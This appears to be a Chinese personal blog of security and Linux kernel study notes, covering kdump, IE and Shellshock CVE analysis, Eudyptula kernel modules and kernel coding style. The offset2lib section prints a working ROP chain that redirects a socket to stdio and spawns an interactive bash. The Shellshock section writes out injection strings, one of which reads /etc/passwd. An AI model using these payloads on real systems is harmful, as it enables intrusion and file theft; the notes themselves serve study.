zerons's Blog

For The Dream

linux kdump自己编译的内核

一般发行版下直接用各自的kdump安装包及它提供的内核, 触发崩溃时是能顺利转储的

问题在于, 用自己编译的内核时, 转储就卡死了

那么需要在编译内核的时候添加一个参数, 如make -jN deb-pkg (ubuntu)

这样能多生成几个.deb包, 然后安装这几个包, 再安装kdump工具链, 用新生成的内核

启动, 然后触发崩溃, 就能顺利转储了. (via 福柯式精神病)

 

如果需要在崩溃的时候获取内核的信息, 可以用netconsole (via 瘦古龙)

CVE-2013-2551

刚开始学着windows下面的安全分析, 对IE也不是很熟悉, 第一个是

http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php

 

单看文中列出的汇编代码, 能够很容易明白, 自己动手在真实环境中找的时候, 就遇到很多小问题了

ida中对vgx.dll的反汇编没有符号表, 所有函数都是sub_XXXXXX的. 这个需要下载符号表, 起初以为符号表只有在windbg下面才用得着的...  https://msdn.microsoft.com/en-us/windows/hardware/gg463028.aspx   下载对应系统版本的符号表,, 然后在反汇编器或者调试器中加载即可

 

在 windbg中加载IE, 一直找不到自己想要的模块, vgx.dll. 把windbg附加到ie进程的时候, 发现有两个ie进程, 加载到其中一个自己打开的页面的进程上, 结果还是一样. windbg对ie的c0000005异常都没有中断.在这点上花了些时间, 直到我开始把windbg附加到两个ie进程中的另外一个的时候, 结果才发生变化. 我猜, 之前那个显示的是自己打开的页面的进程只是用户界面吧.

 

offset2lib glibc2-19 测试

ref http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html

 

环境 ubuntu14.04.2 glibc-2.19 kernel 3.18.9

 

.py文件需要修改成对应于glibc-2.19的版本

off = libc_base

# dup2 to the three standard I/O FD (STDIN, STDOUT, STDERR)
# dup2(4,0)
p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack("Q", 0x0)
p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack("Q", 0x4)
p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x0000000000000021) #  execve #dup2 33
p += pack('Q', off) # padding
p += pack('Q', off) # padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret

# dup2(4,1)
p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack("Q", 0x1)
p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack("Q", 0x4)
p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x0000000000000021) #  execve #dup2 33
p += pack('Q', off) # padding
p += pack('Q', off) # padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret

# dup2(4,2)
p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack("Q", 0x2)
p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack("Q", 0x4)
p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x0000000000000021) #  execve #dup2 33
p += pack('Q', off) #padding
p += pack('Q', off) #padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret


p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf080) # @ .data
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += "/bin/bas" # /bin/bas
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf088) # @ .data + 8
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += "hAAAAAAA" # hAAAAAAA
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf089) # @ .data + 9
p += pack('Q', off + 0x0000000000088c85) # xor rax, rax ; ret
p += pack('Q', off + 0x0000000000037b25) # mov qword ptr [rdi], rax ;ret 

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf08a) # @ .data + 10
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += "-iAAAAAA" # -iAAAAAA
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf08c) # @ .data + 12
p += pack('Q', off + 0x0000000000088c85) # xor rax, rax ; ret
p += pack('Q', off + 0x0000000000037b25) # mov qword ptr [rdi], rax ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf08d) # @ .data + 13
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += pack('Q', off + 0x00000000003bf080) # @ .data
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf095) # @ .data + 21
p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += pack('Q', off + 0x00000000003bf08a) # @ .data + 10
p += pack('Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf09d) # @ .data + 29
p += pack('Q', off + 0x0000000000088c85) # xor rax, rax ; ret
p += pack('Q', off + 0x0000000000037b25) # mov qword ptr [rdi], rax ; ret

p += pack('Q', off + 0x000000000006fc7d) # pop rdi ; ret
p += pack('Q', off + 0x00000000003bf080) # @ .data

p += pack('Q', off + 0x000000000010816a) # pop rsi ; ret
p += pack('Q', off + 0x00000000003bf08d) # @ .data + 13

p += pack('Q', off + 0x00000000000bcee0) # pop rdx ; ret
p += pack('Q', off + 0x00000000003bf09d) # @ .data + 29

p += pack('Q', off + 0x000000000001f576) # pop rax ; ret
p += pack("Q", 0x000000000000003b) #  execve
p += pack("Q", off) #padding
p += pack("Q", off) #padding
p += pack('Q', off + 0x00000000000c1e55) # syscall ; ret

代码通过不断的比较服务程序返回的值来依次测试偏移量, canary, rbp, rip, 由rip可得到对应的程序加载基址, 从而可得到libc的加载基址, 通过相应指令在libc中的偏移来复制文件描述符 执行bash程序.

chanllenge 06 misc device 2

在上一个文章里面, 提到file_operations 结构体一般只需要前面.owner .read .write三个域,

最开始我只初始化了这三个, 然后我的模块中read和write都没对offset进行特殊处理, 由内部自动处理

read 函数只是简单返回一个字符串"888888888888"

write 函数只是对比一下用户空间的输入是不是888888888888, 然后返回错误码或者是字节

于是, 写了一个测试文件

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>

#define BUFSIZE 16

int main(int argc, char *argv[])
{
	int fd;
	int ret;
	char *path = "/dev/this";
	char buf[BUFSIZE];
	static char *test_str[] = {"888888888888", "8888888888888",
			"88888888888", "000000000000",
			"888888888888888888888888",
			(char *)0,
	};
	char **tmp = test_str;

	fd = open(path , O_RDWR);
	if (fd == -1) {
		printf("open %s error: %s\n", path, strerror(errno));
		exit(0);
	}

	memset(buf, '\0', BUFSIZE);

	ret = read(fd, buf, BUFSIZE);
	if (ret == -1)
		printf("read error: %s\n", strerror(errno));
	printf("return is %s\n", buf);
	lseek(fd, 0, SEEK_SET);

	while (*tmp) {
		ret = write(fd, *tmp, strlen(*tmp));
		if (ret == -1)
			printf("%s error: %s\n", *tmp, strerror(errno));
		else
			printf("%s successfully\n", *tmp);
		tmp++;
		lseek(fd, 0, SEEK_SET);
	}
	close(fd);
	return 0;
}

 

这个测试在模块中没有lseek的时候   系统会调用一个默认的lseek函数, 起初以为这个lseek函数确实做了些什么, 但是运行这个测试的时候, 传入匹配字串"888888888888"也返回错误码

 

于是在源码中找相应的代码, google了一下, 找到了如下

使用ftrace查看内核函数调用过程

# cd /sys/kernel/debug/tracing/

# echo 0 > tracing_on

# echo function_graph > current_tracer

# echo *seek* > set_ftrace_filter

# echo "test_pid"(测试程序的pid) > set_ftrace_pid

# echo 1 > tracing_on

之后运行测试程序 结束之后

# cat trace

结果显示, test中调用lseek系统调用, 然后实际调用的默认lseek是no_lseek函数, 这个函数只是简单的返回-ESPIPE, 并没有对文件位置进行操作.

 

在对普通文件读写的时候, 涉及到相应的文件系统, 比如我用的ext4, 在读写普通文件test.txt时

lseek的调用过程是

SyS_lseek() -> ext4_llseek() -> generic_file_llseek_size()

chanllenge 06 misc device

misc device 模块需要的东西比较少, 两个结构体和几个函数

struct miscdevice, stuct file_operations,

文件操作结构体一般填充前三个域

struct file_operations this_fops = {
        .owner = THIS_MODULE,
        .read  = this_read,
        .write = this_write,
        .llseek = this_lseek,
};

另外一个结构体

struct miscdevice this_miscdev = {
        .minor = MISC_DYNAMIC_MINOR,
        .name  = "this", /* 会出现在/dev 目录下 */
        .fops  = &this_fops,
};

在模块加载的时候应该调用misc_register, 退出时调用misc_deregister

#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/uaccess.h>

static const char assigned_id[] = "************";
static const int len = 13;

static ssize_t task06_read(struct file *file, char __user *buf,
				size_t size, loff_t *offset)
{
	return simple_read_from_buffer(buf, size, offset, assigned_id, len);
}

static ssize_t task06_write(struct file *file, const char __user *buf,
				size_t size, loff_t *offset)
{
	char tmp[len];
	int ret;

	if (size != len-1)
		return -EINVAL;
	memset(tmp, '\0', len);
	ret = simple_write_to_buffer(tmp, len-1, offset, buf, size);
	if ((ret != len-1) || (strncmp(tmp, assigned_id, len)))
		return -EINVAL;

	return ret;
}

static loff_t task06_lseek(struct file *file, loff_t offset, int a)
{
	loff_t tmp;

	switch (a) {
	case SEEK_SET:
		file->f_pos = (offset < 0) ? 0 : offset;
		break;
	case SEEK_CUR:
	case SEEK_END:
		tmp = file->f_pos + offset;
		file->f_pos = (tmp < 0) ? 0 : tmp;
		break;
	default:
		break;
	}
	return file->f_pos;
}

struct file_operations task06_fops = {
	.owner		= THIS_MODULE,
	.read		= task06_read,
	.write		= task06_write,
/*	.llseek		= task06_lseek, */
};

struct miscdevice task06_miscdev = {
	.minor		= MISC_DYNAMIC_MINOR,
	.name		= "eudyptula",
	.fops		= &task06_fops,
};

static int task06_init(void)
{
	int err;

	err = misc_register(&task06_miscdev);
	if (err)
		pr_info("register error");
	return err;
}

static void task06_exit(void)
{
	int err;

	err = misc_deregister(&task06_miscdev);
	if (err)
		pr_info("no need to deregister");
}

module_init(task06_init);
module_exit(task06_exit);

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("task06");
MODULE_AUTHOR("************");

文件操作函数, read/write/llseek/

当对/dev/this 进行读写的时候, 会调用这三个函数,

ssize_t read(struct file *, char __user *, size_t, lofft_t *)

ssize_t write(struct file *, const char __user *, size_t, loff_t *)

lofft_t llseek(struct file *, lofft_t, int)

前两个函数用到用户空间数据, 因此可以调用copy_from_user, copy_to_user, simple_read_from_buffer, simple_write_to_buffer, 等来进行内核与用户空间的数据交换, 其中, 后面两个会调用前面两个函数.

*read和*write会对当前文件位置(loff_t *)进行操作 源文件在fs/read_write.c中. 所以在一个程序中对/dev/this进行读写操作, 应该处理文件位置, 或者:) 操作一次再重新打开

chanllenge 05 usb keyboard

在内核模块中使用MODULE_DEVICE_TABLE即可在编译模块的时候在modules.alias中写入相关信息, 用于在对应的device_id插入拔出时采取对应的动作, 如果模块未被载入, 则被注明的模块会被自动加载

相关文档:

                Documentation/usb/hotplug.txt

                LDD linux device driver

 

使用MODULE_DEVICE_TABLE需要一个id_table, 这里只用到usb keyboard

static const struct usb_device_id usb_id_table[] = {
        { USB_INTERFACE_INFO(USB_INTERFACE_CLASS_HID,
                           USB_INTERFACE_SUBCLASS_BOOT,
                           USB_INTERFACE_PROTOCOL_KEYBOARD)},
        {},
};

将编译的ko文件移入/lib/modules/`uname -r`/

首先移除usbhid模块, #rmmod usbhid

这样编译的文件在USB keyboard插入电脑时会载入

 

在hotplug.txt文件中提到了usb_driver结构, 于是在模块中加入

static struct usb_driver mydriver = {
        .name = "usbhid", /* important */
        .id_table = usb_id_table,
        .probe = my_probe, 
        .disconnect = my_disconnect,
};

probe是在设备接入时被调用, disconnect在设备取出时调用

关键是name域, 这个域应该和device name匹配成功时, 才会调用probe函数

因为当前系统中用了一个usbhid的模块, 所以把这个模块改名, 并且rmmod usbhid

此时, 在模块初始化函数中应该调用 usb_register函数, 退出函数中调用usb_deregister函数

注意, usb_register函数调用不成功的时候, 不应该再调用usb_deregister

#include <linux/module.h>
#include <linux/device.h>
#include <linux/usb.h>
#include <linux/hid.h>

static int reg_false = 0;

static int usb_probe(struct usb_interface *intf,
		const struct usb_device_id *id)
{
	dev_info(&intf->dev, "usb probe routine\n");
	return 0;
}

static void usb_disconnect(struct usb_interface *intf)
{
	dev_info(&intf->dev, "usb disconnect routine\n");
	return;
}

static const struct usb_device_id usb_id_table[] = {
	{USB_INTERFACE_INFO(USB_INTERFACE_CLASS_HID,
			USB_INTERFACE_SUBCLASS_BOOT,
			USB_INTERFACE_PROTOCOL_KEYBOARD)},
	{},
};
MODULE_DEVICE_TABLE(usb, usb_id_table);

static struct usb_driver usb_driver = {
	.name		= "usbhid",
	.id_table	= usb_id_table,
	.probe		= usb_probe,
	.disconnect	= usb_disconnect,
};

static int usb_init(void)
{
	pr_info("Hello World\n");
	if (usb_register(&usb_driver)) {
		reg_false = 1;
		return 0;
	}
	pr_info("usb_driver registered\n");
	return 0;
}

static void usb_exit(void)
{
	pr_info("exit...\n");
	if (reg_false == 0)
		usb_deregister(&usb_driver);
}

module_init(usb_init);
module_exit(usb_exit);

linux 内核代码格式 Documentation/CodingStyle

tabs为8空格, 这样对结构块的开始结尾比较清晰, 特别当你对着电脑看了很多小时, 大缩进让看代码更容易. 有人会说8缩进让代码太靠右了, 一行里面很难写完, 如果你有了至少四层的缩进, 那只能说你的代码写太差了.

不要在一行里面写多条语句, 除非你想做一些特别的事.

避免奇怪的表达式.

不要用空格代表缩进.

每行最多有80个字符

大括号的用法, 一般控制结构前一个大括号在行尾, 后一个大括号占一行的首非空字符. 函数的时候, 两半大括号都占一行. 在一般只有一条语句的控制结构里面最好不使用{}

        比如:

        if (condition)

                do_this;

        或者:

        if (condition)

                do_this;

        else

                do_else;

但是如果有一个分支只有一条语句, 每个里面都使用{}

 

多数关键字后用一个空格, 除了(sizeof, typeof, alignof, __attribute__). 在(后面和)前面不要加多余的空格. 指针的*紧贴着指针名, 像char *pointer; char *match_strdup(substring_t *s); 在下列运算符左右都加一个空格= + - < > * / % | & ^ <= >= == != ? :   但是&(取地址) *(指针) + - ~(取反) !(非) sizeof typeof alignof __attribute__ 后面不加空格. ++ -- 前面不要或后面不要空格.

 

变量名函数名, 不要使用混合大小写的名字(一些全局的除外), 例如, 全局函数想计算当前活动的用户数, 函数名应该是count_active_users()或者更简单的, 而不是cntusr(). 不要把类型加进变量名或者函数名中.  本地(局部)变量或函数的命名应该简洁明了, 像循环计数i或者一个临时tmp; 一个函数里面不要太多变量以致于自己都容易弄混...

 

不要给结构体或者指针用typedef. typedef只用于(totally opaque objects, clear integer types, use sparse to literally create a new type for type_checking, new types identical to C99 types, types safe for use in userspace, ==), 一个标准就是永远不要用typedef,

 

函数应该尽量短, 只做一件事就好. 长短一两页即可(80x24), do one thing and do it well.

当然, 如果你的函数里面有一个很长的switch-case结构. 或者, 你有一个比较复杂的函数(大一的学生都看不懂)you should adhere to the maximum limits all the more closely, 使用恰当名字的函数.

函数的局部变量应该在5-10, 否则你就走太远了.

源码中函数前后用空白行分开. 如果函数需要被导出, EXPORT*宏应该在}的下一行

函数声明中, 参数应该也包括参数名,

 

适当的使用goto, 当一个函数有多个退出点的时候,

 

注释, 适当的使用注释, 不要解释你的代码是怎么工作的, 解释你的代码是做什么的, 而不是怎么做的.

尽量不要在一个函数体内部写注释.

内核函数注释有特定的格式, Documentation/kernel-doc-nano-HOWTO.txt and scripts/kernel-doc

linux使用C89格式注释/*...*/, 不要使用C99// ... 注释

多行注释如下

        /*

         * something

         * something

         */

 

emacs用户

 

Kconfig文件格式   Documentation/kbuild/kconfig-language.txt

 

各种数据结构都应该有一个引用计数, 内核中是没有垃圾收集机制的. 如果另外一个线程能使用你的数据结构但是却没有一个引用计数, 很可能就是一个bug了.

 

宏, 枚举和RTL

避免使用宏的情况: 里面包含控制流的, 如exit return; 宏里面包含了一个局部本地变量的; 宏被当作左值用了; 宏定义时的封装问题

 

输出内核信息

输出信息要准确明了

 

函数返回值问题, if the name of a function is an action or an imperative command, the function should return an error-code integer. if the name is a predicate, the function should return a "succeeded" boolean.

 

不要重复做轮子, include/linux/kernel.h里面包含一些常用的宏变量

 

不要带有一些编辑器插入的语句

 

 

2014-12-17 update

1. 头文件

        例子: asm/delay.h => linux/delay.h (https://groups.google.com/forum/#!topic/fa.linux.kernel/yccGyGoT3pQ)

 

2. printk VS pr_*

        (http://stackoverflow.com/questions/22077540/order-of-preference-printk-vs-dev-dbg-vs-netdev-dbg, https://lkml.org/lkml/2014/7/14/174)

        Depending on what you are coding you should use a different print style:

                printk(): never

                pr_debug(): always good

                dev_dbg(): prefered when you have a struct device object

                netdev_dbg(): prefered when you have a struct netdevice object

                [something]_dbg(): prefered when you have a that something object

 

3. Documentation/zh_CN/CodingStyle

Eudyptula Challenge task01

=========================

Write a Linux kernel module, and stand-alone Makefile, that when loaded
prints to the kernel debug log level, "Hello World!"  Be sure to make
the module able to be unloaded as well

=========================

obj-m :=task01.o
KVER := `uname -r`
KDIR = /lib/modules/$(KVER)/build

all:
	make -C $(KDIR) M=`pwd` modules
clean:
	rm -f *.ko *.o *.mod.o *.mod.c *.symvers

 

#include <linux/module.h>

static int task01_init (void)
{
	printk(KERN_INFO "Hello World!\n");
	return 0;
}

static void task01_exit (void)
{
	printk(KERN_INFO "task01 exit...\n");
}

module_init(task01_init);
module_exit(task01_exit);

MODULE_AUTHOR("");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("task01");

 

这样是不符合要求的, 后来查得, 在内核源码目录include/linux/kernel.h(2.6.32.61), include/linux/kern_levels.h(3.17.0)文件中

#define KERN_EMERG	KERN_SOH "0"	/* system is unusable */
#define KERN_ALERT	KERN_SOH "1"	/* action must be taken immediately */
#define KERN_CRIT	KERN_SOH "2"	/* critical conditions */
#define KERN_ERR	KERN_SOH "3"	/* error conditions */
#define KERN_WARNING	KERN_SOH "4"	/* warning conditions */
#define KERN_NOTICE	KERN_SOH "5"	/* normal but significant condition */
#define KERN_INFO	KERN_SOH "6"	/* informational */
#define KERN_DEBUG	KERN_SOH "7"	/* debug-level messages */

共8个级别, 控制台也有一个日志级别console_loglevel, 当printk的输出级别小于console_loglevel时才会显示出来, 详细见http://blog.sina.com.cn/s/blog_4a4832fe0100cvrk.html

 

把源文件中KERN_INFO改成KERN_DEBUG即可

bash CVE-2014-6271 CVE-2014-7169

昨天CVE-2014-6271曝出, 网上给出的测试代码env X='() { :; }; echo vuln' bash -c "echo ..."很好理解, 原因也很好找, http://www.zhihu.com/question/25539470/answer/31055176?utm_source=weibo&utm_medium=weibo_share&utm_content=share_answer&utm_campaign=share_button.

但是对第二个绕过测试代码很不解, env X='() { (a)=>\' bash -c "echo echo vuln";cat echo

这段测试代码目的是造成bash错误, 即(a)=   这段语句会语法出错, 

这时, 一个全局变量eol_ungetc_lookahead为'>'

然后yyerror会被调用, 输出语法错误提示, 并且调用reset_parser, 之后回到variables.c中的initilize_shell_variables函数, 调用report_error, 由于exit_immediately_on_error仍然为0, 所以程序会继续运行. 

当调用shell_getc时, 因为eol_ungetc_lookahead不为空, 那么返回它的值, 也即为之前出错的时候的字符'>'

然后读取后面将执行的命令, "echo echo vuln"   合并即为">echo echo vuln"   就会创建一个新文件

同样, 将'>'字符改成'<', 会读取系统一些文件, 如env -i X='() { (a)=>\' bash -c "/etc/passwd cat".

补充: 为什么要在最后加上\, 因为shell_getc在碰到\的时候, 会restart_read, 然后直接返回EOF, 同时会触发两次shell_ungetc, 让eol_ungetc_lookahead变量得到'>'. 没有\的时候, shell_ungetc的执行路径会不同, 

 

通过输入精心制造的特殊数据, 控制程序的执行路径向自己希望的方向走, nice